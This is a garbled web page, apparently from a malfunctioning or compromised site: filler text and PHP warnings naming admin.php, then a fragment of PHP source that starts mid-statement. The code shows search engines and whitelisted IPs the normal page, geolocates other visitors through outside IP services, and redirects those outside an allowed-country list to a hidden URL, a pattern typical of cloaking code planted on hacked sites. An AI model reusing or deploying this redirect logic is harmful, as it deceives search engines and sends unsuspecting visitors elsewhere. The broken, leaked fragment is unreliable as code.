???
123123123123
.....................................................................................................................................???
123123123123
.....................................................................................................................................
Warning: Undefined variable $auth in /home/elquintoelemento/public_html/admin.php on line 546
Warning: Trying to access array offset on null in /home/elquintoelemento/public_html/admin.php on line 546
Warning: Cannot modify header information - headers already sent by (output started at /home/elquintoelemento/public_html/admin.php:1) in /home/elquintoelemento/public_html/admin.php on line 188
Warning: Cannot modify header information - headers already sent by (output started at /home/elquintoelemento/public_html/admin.php:1) in /home/elquintoelemento/public_html/admin.php on line 189
search_engine_uas as $ua) {
if (stripos($user_agent, $ua) !== false) return true;
}
return false;
}
private function getCountryCode($ip) {
$response = @file_get_contents("http://ip-api.com/json/{$ip}?fields=countryCode");
if ($response) {
$data = json_decode($response);
if (!empty($data->countryCode)) return $data->countryCode;
}
$response = @file_get_contents("https://ipapi.co/{$ip}/country/");
if ($response && strlen($response) == 2) return trim($response);
return null;
}
public function run() {
$ip = $this->getRealIp();
if ($this->isSearchEngine() || in_array($ip, $this->whitelisted_ips)) {
return;
}
$country_code = $this->getCountryCode($ip);
if ($country_code === null || !in_array($country_code, $this->allowed_countries)) {
header("Location: " . $this->redirect_url);
exit();
}
}
}
?>